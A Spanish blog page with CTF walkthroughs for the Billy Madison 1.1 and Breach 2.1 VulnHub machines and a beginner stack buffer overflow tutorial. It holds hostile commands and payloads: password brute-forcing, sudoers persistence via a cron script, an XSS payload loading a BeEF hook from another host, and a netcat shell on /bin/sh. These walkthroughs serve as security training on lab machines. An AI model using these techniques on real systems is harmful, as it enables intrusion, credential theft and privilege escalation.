martes, 20 de septiembre de 2016

Resolviendo (Billy Madison 1.1 CTF - Walkthrough)

Sin dudas un gran CTF, congrats a Brian Johnson. Como se me hizo costumbre y adicción a estos ctfs, es mi tercer writeup. Les dejo mis dos anteriores Walkthroughs:

https://insecuritynotes.blogspot.com/2016/09/completando-ctf-breach21.html
https://insecuritynotes.blogspot.com/2016/08/completando-ctf-pwnlab-walkthrough.html

O en la misma web de VulnHub: https://www.vulnhub.com/author/cnfs,358/























Billy Madison 1.1 @ Vulnhub.com.

En mi caso la ip objetivo es : [192.168.0.110]. Procedo a escanear el sistema objetivo con nmap y obtenemos el siguiente resultado:


  • root@X55:/home/cnfs# nmap -T5 -v -A 192.168.0.110 -p0-65535

  1. Discovered open port 445/tcp on 192.168.0.110
  2. Discovered open port 23/tcp on 192.168.0.110
  3. Discovered open port 22/tcp on 192.168.0.110
  4. Discovered open port 139/tcp on 192.168.0.110
  5. Discovered open port 80/tcp on 192.168.0.110
  6. Discovered open port 2525/tcp on 192.168.0.110
  7. Discovered open port 69/tcp on 192.168.0.110


Ok, 7 puertos.. vamos a investigar.

# PORT_445 y 139:

Pertenece a SMB. Verificamos y nos damos cuenta que permite el ingreso de usuario anónimo:


Si hacemos un 'more ebd.txt' logramos leer el siguiente contenido:

"Erics backdoor is currently CLOSED"

Mm que raro nos dará info veraz sobre el estado de algún troyano en el servidor?.. sigamos. Los archivos restantes los verifique y no logre obtener info relevante, así mismo la carpeta IPC$ no me permitía hacer nada de momento.

# PORT_23:

El puerto por default de telnet... veamos:








Wow... se pone interesante.  Parece que hemos sido 'baneados' momentáneamente, y si intentamos re-conectar al puerto con netcat, ya no nos deja.

Me llama la atención esta frase "I don't use ROTten passwords like rkfpuzrahngvat anymore"...

ROTten.. passwords.. rkfpuzrahngvat... mmm todo parece indicar que se refiere a un cifrado. Y creo estar en lo cierto, ROT13 es un cifrado Cesar que suele utilizarse para esconder un texto. Se suele cambiar las letras por 13 posiciones del abecedario adelante. Es decir para "R"+13 lugares hacia delante seria "E" y así.. utilizo el diccionario INGLES en este caso. Compruebo con la siguiente web que me facilita el trabajo:

































Y el resultado es: exschmenuating

Mmmm espero tener razón y que esto me sirva en algún momento.
Seguimos investigando los puertos.

# PORT_22:

Intente de mil maneras conectarme y tratar de obtener información relevante pero no logro obtener nada. Procedo a seguir con otro puerto.

# PORT_80:

Nos conectamos via browser al puerto HTTP y nos arroja el siguiente resultado:


















Bueno parece que nos da un poco de información sobre que pudo haber sucedido.. nos dice que si estamos leyendo esto, es porque ha clickeado en el link que le enviaron y que la pc fue bloqueada y no se puede acceder al trabajo en el que tanto ha trabajado Billy para graduarse.

# PORT_2525:

No nos da mucha información solo podemos rescatar un banner que nos da referencia a que esta corriendo "220 BM ESMTP SubEthaSMTP", si googleo un poco entiendo según la siguiente web (https://github.com/voodoodyne/subethasmtp) que es una implementacion SMTP en java. Pero no podemos saber mas nada sobre esto actualmente... seguimos.

# PORT_69:

Si revisamos con atención el resultado de NMAP nos decía lo siguiente sobre el puerto 69:

  • 69/tcp   open   http  BaseHTTPServer
  • | http-generator: WordPress 1.0
  • | http-methods: 
  • |_Supported Methods: HEAD GET POST OPTIONS
  • |_http-server-header: MadisonHotelsWordpress
  • |_http-title: Welcome | Just another WordPress site
Parece ser que corre un tipo de Wordpress site... vamos a verificarlo via browser:































Efectivamente, vemos que parece ser un tipo de blog. Voy a proceder a correr la conocida herramienta WPSCAN y ver en que puede ayudarme:

  • cnfs@X55:~/bin/wpscan$ ruby ./wpscan.rb --url 192.168.0.110:69

Y el resultado es el siguiente:



















Hay algunas cosas que resaltar, parece ser un Wordpress 1.0 lanzado en el 2004... sin embargo tiene un theme que pertenece al 2011.. (si bien no es relevante esto, hace ruido..) sin ningún tipo de plugin instalado, por otro lado no logra encontrar el path del THEME. "wp-content" parece no existir.

Y por ultimo el header segun WPSCAN lo resalta como interesante: "MadisonHotelsWordpress".

Esto me hizo volver al mensaje del netcat en el puerto 23. Donde descifre el mensaje en ROT13, intente agregarlo como "http://192.168.0.110:69/exschmenuating/".. sin embargo no funciono.. ya dándome por vencido pensando que era una mala idea, intente ingresarlo en el default HTTP puerto 80: "http://192.168.0.110/exschmenuating/", y... funciono!:
















Vemos al parecer que son unas notas hechas por Eric, (el que intenta arruinar la vida de Billy). Anota que intentara atacar otras victimas, entre ellas la novia de Billy, "Veronica".. intentara atacarla mediante un phishing y ver si ella cae. Luego por la ultima nota vemos que al parecer funciono, Veronica cayo ante el phishing.

Nos da a entender que el "capturo todo el trafico" y el nombre del file contiene la palabra "veronica". Luego hay un monitor log que indica las ip's baneadas. Entre ellas en la actualidad aparece mi IP jeje... recuerdan cuando me baneo el telnet?. 

Seguramente haya otras maneras de hacerlo quizás sin usar tantos recursos, o en algún wordlist pre-creado por internet, pero prefiero utilizar crunch como modo 'creativo' y crear mi propio Wordlist, mediante el cual lo invocaremos con dirbuster para bruteforcear el path http y encontrar el ".cap" que dice que guardo.

Luego de algunos testeos decido crear con Crunch el siguiente wordlist:










Una vez generado, lo invoco con dirbuster y bruteforceo el path http:




Y al parecer funciono, obtengo un código [200] con el siguiente file:






FILE: "012987veronica.cap"









Una vez descargado lo siguiente era abrir el archivo ".cap" con el wireshark y analizarlo.

Bien, logramos entender como es que Veronica cayo en el PHISHING enviado por Eric.
Hay una serie de e-mails capturados en el "012987veronica.cap". El primero de ellos:


















Luego con la seguidilla de mails, Veronica le responde que el Antivirus bloqueo ese archivo, que intente subirlo el directamente via FTP. El cual permanece oculto hasta que se lo invoca mediante el "Spanish Armada" combo... mmm que sera esto. Y nos adjunta una direccion de Youtube en relación a BillyMadison y su teacher (hermosa).

El le contesta que por favor le cree la siguiente cuenta en el FTP username: "eric" y el password "ericdoesntdrinkhisownpee".. Luego ella le responde que fue creada, el envía un nuevo email diciéndole que uplodeo el file y que debería ejecutarlo ella con su cuenta. Finalmente ella le envía el ultimo e-mail reportandole que ejecuto el archivo y que su pc se comporta de manera extraña, el antivirus reporta alerta y que apagara la pc luego de enviarle este ultimo email ya que esta preocupada sobre los archivos que contiene la pc y sobre todo los de Billy sobre su trabajo final de grado.

Termina allí la captura "012987veronica.cap".

Activando el FTP service: Port Knocking.

Ok, para activar el servicio ftp remoto, en el mail de la captura de trafico nos decía que se activaría solo si recibía el "Spanish Armada" combo. Y nos proveía un video de youtube.

Si vemos el video, la teacher le pregunta por "spanish armada" y Billy responde una serie de fechas incorrectas... opto por entender que ese es el 'combo'. Anoto las fechas que dice: (mejoren su listening de Ingles.. o.. un pequeño truquito: activan subtitulos ;D).

El combo: 1466; 67; 1469, 1514; 1981; 1986.

Ok si prestamos atención al mail, nos dice que se activara el ftp si recibe el spanish armada combo, esto podría asimilarse a "Port Knocking". El port knocking es una manera discreta de abrir puertos específicos que el firewall mantiene cerrado. Requiere hacer ciertos intentos de conexiones a una determinada serie o 'combo' de puertos. Una vez sabiendo esto, y determinando que ese combo del video son puertos, vamos a intentar hacer un script para verificar el port knocking, siguiendo referencias de esta web:












Quedaría algo así el script:


  • for port in 1466 67 1469 1514 1981 1986; do nmap -Pn --host_timeout 201 --max-retries 0 -T5 -p $port 192.168.0.110; done
Verificamos:

















Luego intento conectar por FTP, cruzo los dedos y.. :








Bingo!!.. verifico si puedo loguear con usuario Anónimo y lo logro. No hay mucho que ver solo un file que parece ser el archivo de final de grado de Billy!..


  • $> cat Billys-12th-grade-final-project.doc 
  • HHAHAAHAHAH I CAN'T BELIEVE YOU ACTUALLY THOUGHT THIS WAS IT!!!!  WHAT A LOSER! Why don't you go pass
  • out by the pool for another hour!
  • -EG


Parece que nos engaño Eric. De todos modos recuerdo que en uno de los mails, Eric le decía a Veronica que le creara una cuenta de FTP con una especifica credencial. Verificamos si funciona:





















Ok estamos dentro, verificamos que existen varios archivos, procedo a revisarlos uno por uno, en su mayoría son 'exploits', y luego encuentro un ".notes" interesante, ya que me da cierta información importante:






















Resumiendo, posee un backdoor (como suponiamos desde el principio), en el sistema de Billy, el cual funciona en el puerto 22. Este parece activarse enviando un e-mail en el cual debe incluirse el siguiente texto "My kid will be a____ _____", y luego comenta que podra loguearse con su wifi passwd, no lo vio en el billy folder, pero quizas este en lo de Veronica.. Ok let's go.

La respuesta esta en ese link de youtube. En donde dice que sera un "soccer player.." ;D

Ok, procedo a buscar al manera para enviar un email con el mensaje "My kid will be a soccer player".. recuerdo que había prestado atención a la ventana de wireshark donde analizaba esos mails capturados, y veía que los mails habían sido enviados desde swaks:





Procedo a instalarlo y familiarizarme con su uso mirando el swaks man.
Luego de unos minutos.. creo que intento dar con la estructura correcta luego de varios intentos para enviarlo:















































Considerando que no hay nada que nos avise si funciono o no, tendré que realizar un escaneo nuevamente con NMAP ya que el puerto 22 me da señales de nada interesante ahora mismo. Veamos si hay algún puerto nuevo abierto en esta caja de Pandora:














We have a new open port!! el puerto 1974/tcp esta abierto. Antes no salia. Veamos:

** Port 1974/tcp open OpenSSH 7.2p2  (Ubuntu Linux; protocol 2.0) **

Bien, ya tenemos el puerto SSH abierto, pero nos falta el password. Según la pista que nos dio al leer el file .notes decía que la passwd podría estar en lo de Veronica home. Tendremos que intentar buscar a toda costa la contraseña, por ende intentaremos crackear el FTP de Veronica.

Me pongo a hacer una rápida búsqueda en Google sobre los mejores Wordlist y encuentro varias recomendaciones sobre el mismo Wordlist, Rockyou.txt:


















El gentil usuario kurtisebear, comenta de donde bajar wordlist interesantes. Procedo a hacerle caso y bajarlo de http://downloads.skullsecurity.org/passwords/rockyou.txt.bz2

Utilizo HYDRA para intentar crackear el password FTP, considerando que es un wordlist realmente extenso algo asi como 14Millones de palabras, voy a intentar hacer un grep de los passwords relacionados con veronica y procedo a crackear:












Voila!, password found!.

Logueamos y nos encontramos con dos archivos. Uno pertenece a un email entre Billy y Veronica...contándole que dejo a mitad de camino el crackeo de wireless de Eric y el otro es un ".cap" del trafico en cuestión. Procedemos a bajarlo, recordar antes activar el modo Binary en el ftp para descargar el archivo, sino bajara de manera corrupta.

Analizamos con wireshark el archivo y efectivamente comprobamos que se trata de trafico wireless. Continuando con la buena racha de nuestro diccionario rockyou.txt, vamos a invocarlo para crackear con aircrack-ng el .cap:



















Luego de casi 19 minutos, funciono. La passwd es: triscuit*.















Logre loguear como Eric.. verifique los files de su home, entre otras cosas y no logro dar con nada interesante, luego de investigar y de los exploits que habíamos encontrado que al parecer ninguno funciono, trato de buscar archivos con suid, al igual que ya es costumbre con las CTF de Vulnhub anteriores..

















Ese resultado de la primer linea me llama la atención, parece interesante, luego de investigar un poco por Google, no logro encontrar nada sobre eso.. pero se que el binario ese corre como "ROOT". Al ejecutarlo me devuelve el modo de uso:

  • Usage: ./donpcgd path1 path2
Hago una prueba de pasar por el path1 un directorio con privilegios root y luego creo el archivo null2 en /tmp:







Se creo el archivo en /tmp/ con privilegios de ROOT. Podríamos hacer dos cosas ahora, una seria optar por crear una conexión inversa mediante netcat, o la otra sabiendo que es un ubuntu agregar el usuario eric a sudoers. Creando una linea en cron.hourly para que a la hora se ejecute y nos permita ser Root. Creo que la segunda es mas 'estable' y permite mayor persistencia en el sistema.








Lo que hice fue crear un file en /tmp/.. el cual contiene permisos de 'eric', luego invoque al binario vulnerable para que use ese archivo creado como path1 y redireccione como path2 a cron.hourly.. en este lugar no tengo permisos así que con el binario vulnerable salto ese permiso y creamos un script echo que agrega al usuario eric a sudoers. Si todo sale bien, en menos de 60 minutos, permitiría ser ROOT.













Luego de 1 hora y minutos, funciono. Soy ROOT!. Genial.. alistamos directorio e investigamos la carpeta de root.... ya que esto no finaliza acá, tenemos que encontrar el archivo de Billy de final de grado.

Encontrando el archivo de final de grado.











Luego de investigar cada archivo que contenía la carpeta /root/, logro divisar que dentro de la carpeta /root/ssh/ existe un file llamado canyoussh.sh, este archivo al hacerle un cat, nos da a entender que es el encargado de abrirnos el backdoor al sistema.

Se encarga de verificar mediante el grep si la frase de "My kid will be a soccer player" fue enviada y acepta mediante iptables la conexión entrante al puerto 1974. Ademas escribe en el archivo ebd.txt el texto que vimos en un principio de todo sobre que el acceso al Backdoor esta abierto o cerrado.

Bien, si nos dirigimos a /root/PRIVATE/, nos encontramos con lo siguiente:













El archivo BowelMovement es de tipo "data" y el hint.txt nos dice que la contraseña se encuentra en ese Wikipedia link.

Para trabajar mas cómodo envié el archivo BowelMovement via scp a mi pc. Luego de un buen rato intentando iluminar la lampara, me di cuenta que algo que es de tipo 'data' y contiene password, podría ser una unidad virtual, generado con programas como el viejo truecrypt etc.. Procedo a trabajar con veracrypt una solución mas moderna, y al parecer la evolución al proyecto antiguo truecrypt.

Bien, si es como pienso a esta altura y espero que si porque ya no tengo mas ideas, como todo disco/partición encriptada necesita su palabra mágica. En el archivo hint.txt decía que la password estaba en el link Wikipedia, realmente es grande el contenido como para ir probando uno por uno. Asi que primero generaremos en base a esa wikipedia un w0rdlist para crackear el archivo BowelMovement con TrueCrack.

Generando el wordlist:







Una vez generado el wordlist, en mi caso: w0rdlist_wiki, lo invocaremos a TrueCrack para realizar un bruteforce:












Excelente!!.. procedemos a usar veracrypt para montar la unidad:























Descomprimimos el secret.zip:

















Y el archivo de final de grado de Billy recuperado:


















Thank you Brian Johnson!! - THE_END.

domingo, 11 de septiembre de 2016

Nuestro primer Buffer Overflow.


Siempre tuve ganas de hacer un paper relacionado a buffer overflow.
Creo que es un tema bastante hablado en lo que respecta a la explotación de binarios, pero es un antes y un después en este mundo de búsqueda de vulnerabilidades. O al menos lo fue para mi hace muchos años atrás.

Quiero escribir un paper sencillo, para los que inician y que sea compatible con las ultimas distros de Linux, ojala sirva de partida o impulso a seguir progresando.













# REQUISITOS PREVIOS:

Los únicos requisitos son saber un básico de assembler, gcc y conocimientos de C.



CONTENIDO:
  1. [Segmentacion de la memoria].......................................
  2. [Registros assembler de uso comun]..............................
  3. [Manejo de memoria en una llamada a función]...............
  4. [Ahora si.. ¿Que es un Buffer Overflow?].........................
  5. [Nuestro codigo C vulnerable]........................................
  6. [Desensamblando con GDB]...........................................
  7. [Creando el payload y desbordando el buffer].................



[Segmentacion de la memoria] de un programa en C:

Cuando compilamos un programa con su respectivo código fuente, por ejemplo en C, la memoria se divide en 5 partes fundamentales como muestra la siguiente imagen:






























#Command-Line arguments and environment variables // Argumentos de Linea de Comandos y variables de Entornos:
Acá es donde se almacenan los argumentos que le pasamos al binario al momento de correrlo, y también las variables de entornos. Por ejemplo:


  • $> ./binario [Argumento1] [Argumento2]


#STACK:
La famosa pila, es el lugar donde se usa como memoria temporal para almacenar las variables de funciones locales y contexto durante las llamadas a funciones.
La pila es una estructura de datos abstractos que se usan con frecuencia.
El método en que los datos se ingresan es en modo LIFO del ingles Last Input, First Output. Que quiere decir Ultimo entrado, Primero salido. Imagínenlo como un mazo de cartas. Al poner una carta encima de la otra, para retirar la que esta debajo, primero tendríamos que sacar la que pusimos en ultimo lugar, y por ultimo sacaríamos la que estaba debajo de todo.

#HEAP:
El heap es un segmento de la memoria que puede ser manejado directamente por el programador, quien puede colocar y usar los bloques de memoria del segmento para lo que quiera. Siempre que se use por ejemplo la funcion "malloc" para obtener memoria dinamicamente sera asignado en el HEAP.

#Uninitialized data o No-Inicializadas.. (BSS SEGMENT):
Es el segmento donde se encuentran las variables estáticas y globales no inicializadas.

#Initialized data o Inicializadas.. (DATA SEGMENT):
En su contrapartida a la anterior, es donde se almacenan todas las variables estáticas y globales inicializadas.

#TEXT:
En este lugar los permisos de escritura suelen estar deshabilitados y no se usa para almacenar variables. Solo código. Posee un tamaño fijo, ya que no hay nada que permita cambiarlo. El loader carga instrucciones desde acá y las ejecuta.


[Registros assembler de uso comun]

Explicare ahora algunos de los registros assembler que ya deberían tener en claro, pero por si las dudas:

EAX,EBX,ECX,EDX:
Estos registros son de propósito general.. suelen usarse para varias cosas pero principalmente como variables temporales para la CPU cuando esta ejecutando instrucciones de maquina.


EIP:
Es el registro de puntero de instrucción. Señala la instrucción que el procesador esta leyendo actualmente.. piénsenlo cuando de chicos leíamos un libro y con nuestro dedo seguíamos cada palabra.

ESP:
Es el registro puntero de STACK. Almacena la dirección de lo alto de la pila.
Como dije anteriormente, imaginemos que es un mazo de cartas, este registro almacena la dirección del ultimo elemento que se añadió al mazo.

EBP:
Es el registro puntero que posee la dirección base de la pila, a contrapartida de ESP que mantenía la dirección de la cima de la pila. EBP contiene el puntero al primer bloque de la memoria del rango de bloques mientras que ESP representa el ultimo bloque de la memoria de una función.

[Manejo de memoria en una llamada a funcion]:

Para entender mejor todo esto, veremos un pequeño codigo y explicare paso a paso que va sucediendo:


  1. int test(int a, int b) {
  2.     int x, z;
  3. }
  4. int main() {
  5.     test(10, 12);  
  6. }

Bien, como vemos, tenemos la funcion MAIN(), y la funcion test(). Mediante main llamamos a la función test() pasandole dos enteros y la funcion test() recibe esos dos valores enteros. Ademas se declaran 2 variables enteras llamadas 'x' y 'z' sin ningun valor especifico.

¿Pero como funciona esto a nivel memoria?.. asi:

EIP se encuentra con la llamada a la funcion test(). Automaticamente se ingresan los datos a la pila, el orden es de derecha a izquierda. Por ende primero se hara un PUSH de 12 y luego de 10:


  • 10
  • 12
  • ----


Una vez hecho eso se necesita saber como seguir después de que la función TEST termine, por ende se pone la direccion de la siguiente instrucción en la pila.

Una vez se realiza esto, se pone la dirección de la función TEST() en el EIP ahora apunta a la función TEST() la cual toma control.

Como ahora nos encontramos en la función TEST(), se requiere actualizar el registro EBP. Pero antes guardamos EBP en la STACK, para una vez terminado el trabajo, sepamos regresar a la función MAIN() sin problemas.

Luego, se setea EBP igual a ESP. Ahora EBP apunta al actual puntero de pila o stack pointer, (ESP viene del ingles Extended STACK POINTER).

A continuación se ponen las variables locales que declaramos "x" y "z" en el espacio reservado en la STACK. El valor de ESP a raíz de esto es modificado.

Una vez que la función TEST() finaliza.. se necesita regresar al marco de pila anterior (o stack frame en ingles). Por lo tanto se setea ESP al EBP con el valor anterior. Se retira EBP con el valor anterior de la STACK y se vuelve a almacenar en EBP. Ahora el EBP apunta de regreso a MAIN(). (recuerdan que arriba lo habíamos almacenado para poder acordarnos como regresar?).

Para finalizar, se quita el RET ADDRESS de la pila que habíamos puesto y EIP ahora apunta a la dirección que contenía el RET, justamente una instruccion despues del CALL a la función TEST().

Algo así quedaría la Memoria mientras se ejecuta la funcion TEST():

-------------------------------------------------------
12
-------------------------------------------------------
10
-------------------------------------------------------
<RET ADDRESS>
-------------------------------------------------------
<EBP de MAIN()>                       --------------------> EBP
-------------------------------------------------------
Lugar asignado para variable "x"
-------------------------------------------------------
Lugar asignado para variable "z" -------------------> ESP
-------------------------------------------------------

Después de esto tedioso.. Empecemos con un poco mas de diversion.


[Ahora si.. ¿Que es un Buffer Overflow?]




















En pocas palabras el Buffer Overflow, desde ahora BOF, ocurre cuando en un programa o proceso se intenta almacenar mas datos en un buffer del que este fue previamente programado. Cuando los buffers (espacios de memoria destinados para cierta cantidad de datos), son sobrecargados, como si fuese un vaso de agua que contiene cierta capacidad para contenerla y cuando esta al máximo, la famosa gota que rebalsa el vaso. En esto es lo mismo, los datos extras que rebalsa de un buffer pueden tener distintos impactos desde corromper una aplicación y detenerla, los bytes sobrantes pueden almacenarse en buffers o zonas de memorias adyacentes.. etc.

Un usuario malintencionado podría guiar un BOF para influir en determinado funcionamiento del sistema, como por ejemplo la escalada de privilegios, etc.

[Nuestro código C vulnerable]:

Pueden descargar el codigo de aca: http://pastebin.com/fYZyHxwj






































Bien, este código es muy básico, pero no menos util. Una breve reseña de lo que hace: Ademas de la función main() posee dos funciones VERIFICAR() y FuncionOBJETIVO(). Una vez que se llama a la función Verificar(), se declara un Buffer de 15 caracteres y se solicita una clave; si la clave es diferente a "passw0rd", dará error. Si es correcta, invoca a la FuncionOBJETIVO().

Nuestra idea claramente no es poner el password correcto, es solo un detalle.
Nuestro verdadero objetivo sera en este ejemplo, modificar el RETurn address y lograr ejecutar como RET la address de FuncionOBJETIVO() sin introducir el password correcto, solo desbordando el buffer.

Una vez tienen el código, hay que compilarlo. La siguiente sintaxis compilara mediante GCC el código, atención al flag -fno-stack-protector. Este flag deshabilita la protección de la pila que viene por default. (Mas adelante se tocaran temas de protecciones, etc.). De momento testeamos de esta manera. Si estas usando un sistema operativo de 64bits, hay que agregarle otro flag -m32. Tambien le agrego el flag -g para que luego el gdb me muestre el codigo fuente mientras lo manipulamos.





Una vez compilado, procedemos a ejecutarlo:















Como vemos, ejecutamos el binario ./final, ingresamos un passwd incorrecto. Luego reintentamos con el correcto y nos demuestra que invoca la FuncionOBJETIVO() correctamente, y luego intentamos desbordarlo manualmente con muchos "9".
Nos arroja un Segmentation Fault. Tipico error de crasheo.


[Desensamblando con GDB]:

Es importante aclarar antes que las direcciones de memoria podrían variar levemente en sus maquinas y no ser iguales a las mías.

Vamos a correr nuestro binario en GDB (GNU Debugger) y desensamblamos la función MAIN():

















No hay mucho por ver, ya que solo se limita a llamar a la funcion Verificar().

Ahora desensamblamos la función VERIFICAR() y resalto lo mas importante:







































En la tercer linea vemos como se reserva un espacio de 0x28 (en hexadecimal), que pasado a Decimal es: 40. En este lugar es donde se reservan las variables locales de la función. En la siguiente linea con mas claridad vemos:




Esta linea nos indica donde es que empieza buffer justo 0x1B (1B en hexadecimal; y decimal es: 27) bytes antes a EBP.

Bien, por ultimo nos queda desensamblar la FuncionOBJETIVO():


La FuncionOBJETIVO() empieza en la direccion 080484cb.


[Creando el payload y desbordando el buffer]:

Vamos a reunir lo que comentamos arriba y diseñar el payload, este es el que se va a encargar de desbordar el buffer y hacernos llegar a esa FuncionOBJETIVO(). sin necesidad de poner el password, aprovechándonos de un RET.

Como dije antes, nuestro buffer comienza a 27 bytes antes del EBP. Esto quiere decir que tenemos 27 bytes y luego vienen 4 bytes mas de EBP. El Base Pointer. Luego de eso como habiamos visto al principio, tendríamos que encontrarnos con el RET ADDRESS, que es la direccion de retorno, una vez que la función finalice EIP usara esa direccion para regresar. 

Y ese es el punto en el que vamos a desbordar y abusar del RET para que nos lleve a la FuncionOBJETIVO(). Sabemos que la direccion de nuestra FuncionOBJETIVO(), comienza en "080484cb"..

La cosa estaría mas o menos así:


27 bytes+4bytes = 31bytes tenemos de caracteres random. 
Los 4 bytes restantes serán de la direccion de la FuncionOBJETIVO() en el RET.

Bien haremos lo siguiente, vamos a invocar python para aplicar nuestro payload sobre el binario. Ahora suponiendo que sus maquinas utilicen Little-Endian, cosa que asi es en mi caso (mas info en wikipedia), tenemos que ingresar los bytes del siguiente modo a la inversa para que funcione, si la direccion era "08 04 84 CB" tenemos que aplicarlo al revés... "CB 84 04 08".

Invocamos python del siguiente modo:

Se invoca python, y se envían al binario 31 bytes (letras "A"), y se le suman 4 bytes finales que son la direccion donde empieza la FuncionOBJETIVO(). Mediante el pipe se le pasa al binario y logramos obtener el mensaje de "Buffer Overflow con éxito".

Para finalizar, decir que hay varias funciones vulnerables a BOF: printf(), strcpy()gets()scanf()sprintf(),strcat().. etc

Espero que como introducción haya servido, cualquier duda ya saben, me escriben.

Saludos.



domingo, 4 de septiembre de 2016

Completando "CTF Breach2.1".

Primero que nada, gracias a vulnhub.com por agregar mi paper de resolución en español del CTF de PWNLAB INIT en su propia web: https://www.vulnhub.com/author/cnfs,358/

Bien arranquemos este gran CTF, que por cierto me gusto mucho mas que el anterior que resolví.











Comienzo realizando un escaneo de puertos con nmap a la IP objetivo que en este caso esta estática y es la siguiente: 192.168.110.151:


  • nmap -sV -p- 192.168.110.151 -T5







Vemos que figuran 3 puertos abiertos, 2 pertenecientes a rpc y el mas llamativo un ssh server corriendo en el puerto mas alto.

Procedemos a conectarnos via SSH:


  • cnfs@X55:~/Escritorio$ ssh 192.168.110.151 -p 65535











Como vemos en la imagen nos arroja un banner y nos pide ingresar un password. Acá podríamos intentar bruteforcear el login pero como pensé en el CTF anterior, creo que va mas por el lado de resolverlo usando la lógica y tecnicismo que poner a crackear.

Después de mirar y mirar me enfoque en el banner y saque dos datos importantes, en una misma linea:

"Peter, if that's you - the password is in the source"

El usuario podría ser Peter......y la contraseña mmm "the password is.....'inthesource'??". Inserto eso, y noto como respuesta que automáticamente se cierra la conexión de manera remota.

Se habrá cerrado el puerto?.. se habrá caído el servicio?. Verifiquemos con un nmap nuevamente.


















Ahora nos figura un nuevo puerto abierto, un puerto http. Se pone bueno esto..

Verfico con Nikto a ver si me da algo de info extra, ademas de analizarlo manualmente, y no logro obtener nada interesante. Mas que un directorio /icons/ y uno de /images/ el cual no tengo permisos para acceder. Vemos info sobre una fuga de etags.

El index es ".html", no podemos hacer mucho mas.. intento buscar ayuda con un scanner llamado Dirb el cual espero me ayude a conseguir alguna pista que no tenga a la vista:


  • cnfs@X55:~/bin/dirb222$ ./dirb http://192.168.110.151 wordlists/common.txt 

































Bingo!. Resulta que hay un blog en este site. Y entre los resultados me encuentro las siguientes carpetas y archivos:

  1. /blog/README
  2. /blog/smilies/
  3. /blog/wysiwyg/
  4. /images/
  5. /blog/
Si miramos el file README, logramos entender que se trata de unas serie de instrucciones para 'instalar' el blog. Eso quiere decir que si le damos al install.php, seguramente nos conceda el placer de instalar desde cero y setear nuestra cuenta de 'admin'.. probemos.

Luego de seguir unos 'Next' seteo la cuenta de Admin satisfactoriamente. Pero al loguear, veo que no podemos hacer mucho mas, la funcionalidad esta reducida. Muy mal... jeje. Sigo.

Verificando exploits por exploit-db, logro dar con algunos que me dan información de posibles XSS y SQLi.

Logro comprobar, que con un simple <script>alert();</script>, en el blog/register.html de la pagina, precisamente en el campo de Username, es vulnerable. Luego al ir a http://192.168.110.151/blog/members.html vemos el alert:





























Luego de familiarizarme un poco mas con la web, intento correr SQLMAP para ver con que me sorprende en el siguiente path:


  • http://192.168.110.151/blog/index.php?search=


















Y el resultado parece ser muy bueno:




















Tranquilamente podria haber puesto un --all para que teste y resuelva todo automaticamente, pero preferi hacerlos mas ordenados de ese modo.
Nos alista unas 5 base de datos que contiene el sitio y en las cuales podemos analizar. Como esto es un Walkthrough voy a saltar todas las pruebas positivas y negativas realizadas, y voy directo a lo mas importante.

Luego de familiarizarme con las DB's logro dar con una base de datos llamada "oscommerce", en la cual posee una tabla llamada: osc_administrators. ;D

Dumpeamos dicha tabla:

  • cnfs@X55:~$ sqlmap -u "http://192.168.110.151/blog/index.php?search=" --dump -T osc_administrators -D oscommerce













Por lo que vemos parece ser un hash md5. Deberíamos crackearlo, pero antes de desperdiciar tiempo crackeandolo podríamos verificar en alguna base de datos online si no fue crackeado con anterioridad y alguien ya lo hizo por nosotros jeje.

Podrían usar una web como https://crackstation.net, ingresan el hash, y le dan a crack!. Tuve suerte y el resultado fue instantáneo, como dije, nos ahorramos tiempo:















(El password búsquenlo ustedes mismos, no sean vagos jeje)

Bueno continuando con el análisis, verificando algunos archivos dumpeados de la tabla oscommerce, encuentro este Path, pero al parecer no es accesible desde apache:














Tambien verificando otros archivos, pude encontrar un mail interesante: milton@breach.local, ese ".local" da a entender que es un mail local de linux, un vhost mas que seguro.

Luego de dar vueltas y vueltas, (de verdad que tarde mucho time.. andaba poco de cafe), logre asimilar el Bannerdel /index.html que dice BEEF + el posible XSS en members.. estaba servido y a la vista. Se trataba de BEEF FRAMEWORK!!!.
Link de referencia: http://www.hackplayers.com/2012/05/beff-framework-para-mi-la-carne-muy.html











Bien, si corro el Wireshark a sniffear la red de la victima, logro ver algo como lo siguiente, que se repite reiteradamente, en un plazo muy corto..











Es como si se tratase de un bot.

Procedo a instalar y correr el Beef Framework. Intento Hookear mi ip, para verificar que todo funciona bien y mi pc se reporta hookeada mediante el siguiente .html de prueba:

















Si ahora veo el Beef-Framework:













Bien, lo que se me ocurre hacer ahora es volver a donde había inyectado previamente el script alert, en el campo username que era vulnerable a XSS. Cree un nuevo usuario con el siguiente script (en mi caso mi ip local asignada en ese momento): <script src="http://192.168.0.104:3000/hook.js"></script>

Y eso es todo, me dispuse a esperar...esperar.. y esperar. Hasta que, it works!:


Finalmente obtuvimos una conexión. La victima posee un Firefox version 15.0.
Si vemos un poco mas abajo, nos encontramos con la cookie:

La cual intentamos descifrar utilizando un site como https://hashkiller.co.uk/md5-decrypter.aspx:


Buscando un poco sobre la version del Firefox, encontramos un exploit aparentemente util en Metasploit: https://www.rapid7.com/db/modules/exploit/multi/browser/firefox_proto_crmfrequest.


Ya que estoy utilizando Beef, previamente lo integre con Metasploit. El cual me permite ejecutar exploits desde Beef a las victimas con la db de exploits de metasploit. Corremos el exploit previamente dicho y..

















Si bien obtuve shell, se me cerraba realmente muy rapido, a penas segundos duraba para tipear.. por lo cual logre arriesgarme y tratar de abrir un puerto y brindar una shell salvadora con netcat. Antes de que se me desconectara tipie rapidamente:

$> nc -le /bin/sh -vp 13337

Y parece que funciono..






















Necesito de mi amiga /BIN/BASH:









;D.. ya la tenemos.

Investigamos un poco... encontramos el bendito script que chequeaba constantemente y nos permitio obtener la shell:
















Sigo investigando..














Esto nos permitira conectarnos via mysql, pero como ya lo revise y anteriormente habiamos dumpeado tablas, sigo investigando por algo nuevo..

Realizo un netstat -putona, (:P)














Vemos que hay varios puertos, pero me llama la atención ese 2323, si telneteamos a ese puerto localmente, nos sale el siguient prompt..



























Todo parece indicar que es Houston... mmmm.. despues de probar muchas veces, logre dar con el usuario que era el que estaba en un /home/: "milton" y la contraseña que acababa de resolver: "Houston". Sin embargo seguian las preguntas..

















Whose stapler is it?..... Despues de probar y googlear, llegue a una QUIZ, donde había 4 posibles respuestas, y vaya locura pero me sirvió. xD




























Bueno verificamos, y logueamos como Milton:















Luego de seguir verificando, hay algo interesante en el ".profile" de Milton:
























Hay 2 lineas que ejecutan un script en python llamado cd.py e inicializa como root la aplicacion nginx.

Si verifico los puertos me llama la atencion el 8888, intento conectar como antes al localhost 8888 y sale lo siguiente:



















